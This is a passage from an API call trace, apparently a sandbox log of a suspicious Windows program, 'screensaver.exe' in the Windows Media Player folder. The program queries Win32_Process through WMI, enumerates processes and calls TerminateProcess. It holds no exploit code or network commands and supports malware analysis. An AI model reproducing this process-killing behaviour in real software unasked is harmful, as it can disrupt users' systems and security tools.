IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb49dc*=0, plFlavor=0x2eb49e0*=0 | out: pVal=0x5e8e2e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2eb49dc*=8200, plFlavor=0x2eb49e0*=64) returned 0x0 [0067.549] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__SERVER", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4a14*=0, plFlavor=0x2eb4a18*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4a14*=8, plFlavor=0x2eb4a18*=64) returned 0x0 [0067.549] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4a3c*=0, plFlavor=0x2eb4a40*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4a3c*=8, plFlavor=0x2eb4a40*=64) returned 0x0 [0067.549] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4a64*=0, plFlavor=0x2eb4a68*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4a64*=8, plFlavor=0x2eb4a68*=64) returned 0x0 [0067.549] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.549] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.549] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.549] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="ExecutablePath", lFlags=0, pVal=0x5e8e320*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4acc*=0, plFlavor=0x2eb4ad0*=0 | out: pVal=0x5e8e320*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Program Files (x86)\\Windows Media Player\\screensaver.exe", varVal2=0x0), pType=0x2eb4acc*=8, plFlavor=0x2eb4ad0*=0) returned 0x0 [0067.549] SysStringLen (param_1="C:\\Program Files (x86)\\Windows Media Player\\screensaver.exe") returned 0x3b [0067.549] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="ExecutablePath", lFlags=0, pVal=0x5e8e3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4acc*=8, plFlavor=0x2eb4ad0*=0 | out: pVal=0x5e8e3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Program Files (x86)\\Windows Media Player\\screensaver.exe", varVal2=0x0), pType=0x2eb4acc*=8, plFlavor=0x2eb4ad0*=0) returned 0x0 [0067.549] SysStringLen (param_1="C:\\Program Files (x86)\\Windows Media Player\\screensaver.exe") returned 0x3b [0067.554] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67 [0067.562] GetLastError () returned 0x0 [0067.562] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.562] GetLastError () returned 0x0 [0067.566] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0067.566] GetLastError () returned 0x0 [0067.566] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.566] GetLastError () returned 0x0 [0067.570] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0067.570] GetLastError () returned 0x0 [0067.570] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.570] GetLastError () returned 0x0 [0067.574] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x73 [0067.574] GetLastError () returned 0x0 [0067.574] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x73, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.575] GetLastError () returned 0x0 [0067.578] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0067.578] GetLastError () returned 0x0 [0067.578] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.578] GetLastError () returned 0x0 [0067.578] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1 [0067.579] GetLastError () returned 0x0 [0067.582] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0067.583] GetLastError () returned 0x0 [0067.583] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.583] GetLastError () returned 0x0 [0067.583] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1 [0067.583] GetLastError () returned 0x0 [0067.587] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0067.588] GetLastError () returned 0x0 [0067.588] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.588] GetLastError () returned 0x0 [0067.588] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1 [0067.588] GetLastError () returned 0x0 [0067.592] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0067.592] GetLastError () returned 0x0 [0067.592] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.592] GetLastError () returned 0x0 [0067.592] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1 [0067.593] GetLastError () returned 0x0 [0067.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.593] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.593] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.593] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.593] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.593] IWbemClassObject:GetNames (in: This=0x60fe4a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e438*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e404 | out: pNames=0x5e8e404*="\x01ƀ\x04") returned 0x0 [0067.593] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.593] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.593] SafeArrayGetLBound (in: psa=0x41eaa0, nDim=0x1, plLbound=0x5e8e000 | out: plLbound=0x5e8e000) returned 0x0 [0067.594] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__GENUS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb85e8*=0, plFlavor=0x2eb85ec*=0 | out: pVal=0x5e8e430*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2eb85e8*=3, plFlavor=0x2eb85ec*=64) returned 0x0 [0067.594] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__CLASS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb861c*=0, plFlavor=0x2eb8620*=0 | out: pVal=0x5e8e430*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2eb861c*=8, plFlavor=0x2eb8620*=64) returned 0x0 [0067.594] SysStringLen (param_1="Win32_Process") returned 0xd [0067.594] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb8670*=0, plFlavor=0x2eb8674*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb8670*=8, plFlavor=0x2eb8674*=64) returned 0x0 [0067.594] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb8698*=0, plFlavor=0x2eb869c*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb8698*=8, plFlavor=0x2eb869c*=64) returned 0x0 [0067.594] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb86c0*=0, plFlavor=0x2eb86c4*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb86c0*=8, plFlavor=0x2eb86c4*=64) returned 0x0 [0067.594] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb86e8*=0, plFlavor=0x2eb86ec*=0 | out: pVal=0x5e8e430*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2eb86e8*=3, plFlavor=0x2eb86ec*=64) returned 0x0 [0067.594] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb871c*=0, plFlavor=0x2eb8720*=0 | out: pVal=0x5e8e430*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eaa0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2eb871c*=8200, plFlavor=0x2eb8720*=64) returned 0x0 [0067.595] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__SERVER", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb8754*=0, plFlavor=0x2eb8758*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb8754*=8, plFlavor=0x2eb8758*=64) returned 0x0 [0067.595] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb877c*=0, plFlavor=0x2eb8780*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb877c*=8, plFlavor=0x2eb8780*=64) returned 0x0 [0067.595] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PATH", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb87a4*=0, plFlavor=0x2eb87a8*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb87a4*=8, plFlavor=0x2eb87a8*=64) returned 0x0 [0067.595] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e4b0 | out: puCount=0x5e8e4b0*=0x2) returned 0x0 [0067.595] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e4ac*=0x17, pszText=0x0) returned 0x0 [0067.595] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e4ac*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.595] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="ProcessId", lFlags=0, pVal=0x5e8e46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb880c*=0, plFlavor=0x2eb8810*=0 | out: pVal=0x5e8e46c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x53c, varVal2=0x0), pType=0x2eb880c*=19, plFlavor=0x2eb8810*=0) returned 0x0 [0067.595] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="ProcessId", lFlags=0, pVal=0x5e8e524*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb880c*=19, plFlavor=0x2eb8810*=0 | out: pVal=0x5e8e524*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x53c, varVal2=0x0), pType=0x2eb880c*=19, plFlavor=0x2eb8810*=0) returned 0x0 [0067.596] EnumProcesses (in: lpidProcess=0x2ebb82c, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2ebb82c, lpcbNeeded=0x5e8e5a8) returned 1 [0067.596] GetLastError () returned 0x0 [0067.598] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3ae82f8, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3ae82f8, ResultLength=0x5e8e528*=0xddd0) returned 0x0 [0067.598] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0067.600] GetLastError () returned 0x0 [0067.600] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.600] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.600] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.600] IWbemClassObject:Get (in: This=0x60fe638, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed8d34*=0, plFlavor=0x2ed8d38*=0 | out: pVal=0x5e8e58c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed8d34*=8, plFlavor=0x2ed8d38*=64) returned 0x0 [0067.600] IWbemClassObject:Get (in: This=0x60fe638, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed8d34*=8, plFlavor=0x2ed8d38*=64 | out: pVal=0x5e8e590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed8d34*=8, plFlavor=0x2ed8d38*=64) returned 0x0 [0067.601] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.601] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.601] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.601] IWbemClassObject:Get (in: This=0x60fe638, wszName="__CLASS", lFlags=0, pVal=0x5e8e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed8d9c*=0, plFlavor=0x2ed8da0*=0 | out: pVal=0x5e8e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2ed8d9c*=8, plFlavor=0x2ed8da0*=64) returned 0x0 [0067.601] SysStringLen (param_1="Win32_Process") returned 0xd [0067.601] IWbemClassObject:Get (in: This=0x60fe638, wszName="__CLASS", lFlags=0, pVal=0x5e8e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed8d9c*=8, plFlavor=0x2ed8da0*=64 | out: pVal=0x5e8e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2ed8d9c*=8, plFlavor=0x2ed8da0*=64) returned 0x0 [0067.601] SysStringLen (param_1="Win32_Process") returned 0xd [0067.601] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.601] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.601] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.601] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.601] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.601] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.601] IWbemClassObject:GetNames (in: This=0x60fe638, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e550 | out: pNames=0x5e8e550*="\x01ƀ\x04") returned 0x0 [0067.601] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.601] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.601] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8e14c | out: plLbound=0x5e8e14c) returned 0x0 [0067.601] IWbemClassObject:Get (in: This=0x60fe638, wszName="__GENUS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed98d8*=0, plFlavor=0x2ed98dc*=0 | out: pVal=0x5e8e57c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2ed98d8*=3, plFlavor=0x2ed98dc*=64) returned 0x0 [0067.601] IWbemClassObject:Get (in: This=0x60fe638, wszName="__CLASS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed990c*=0, plFlavor=0x2ed9910*=0 | out: pVal=0x5e8e57c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2ed990c*=8, plFlavor=0x2ed9910*=64) returned 0x0 [0067.602] SysStringLen (param_1="Win32_Process") returned 0xd [0067.602] IWbemClassObject:Get (in: This=0x60fe638, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9960*=0, plFlavor=0x2ed9964*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9960*=8, plFlavor=0x2ed9964*=64) returned 0x0 [0067.602] IWbemClassObject:Get (in: This=0x60fe638, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9988*=0, plFlavor=0x2ed998c*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9988*=8, plFlavor=0x2ed998c*=64) returned 0x0 [0067.602] IWbemClassObject:Get (in: This=0x60fe638, wszName="__RELPATH", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed99b0*=0, plFlavor=0x2ed99b4*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed99b0*=8, plFlavor=0x2ed99b4*=64) returned 0x0 [0067.602] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed99d8*=0, plFlavor=0x2ed99dc*=0 | out: pVal=0x5e8e57c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2ed99d8*=3, plFlavor=0x2ed99dc*=64) returned 0x0 [0067.602] IWbemClassObject:Get (in: This=0x60fe638, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9a0c*=0, plFlavor=0x2ed9a10*=0 | out: pVal=0x5e8e57c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2ed9a0c*=8200, plFlavor=0x2ed9a10*=64) returned 0x0 [0067.602] IWbemClassObject:Get (in: This=0x60fe638, wszName="__SERVER", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9a44*=0, plFlavor=0x2ed9a48*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9a44*=8, plFlavor=0x2ed9a48*=64) returned 0x0 [0067.602] IWbemClassObject:Get (in: This=0x60fe638, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9a6c*=0, plFlavor=0x2ed9a70*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9a6c*=8, plFlavor=0x2ed9a70*=64) returned 0x0 [0067.602] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PATH", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9a94*=0, plFlavor=0x2ed9a98*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9a94*=8, plFlavor=0x2ed9a98*=64) returned 0x0 [0067.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5fc | out: puCount=0x5e8e5fc*=0x2) returned 0x0 [0067.603] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x0, pszText=0x0 | out: 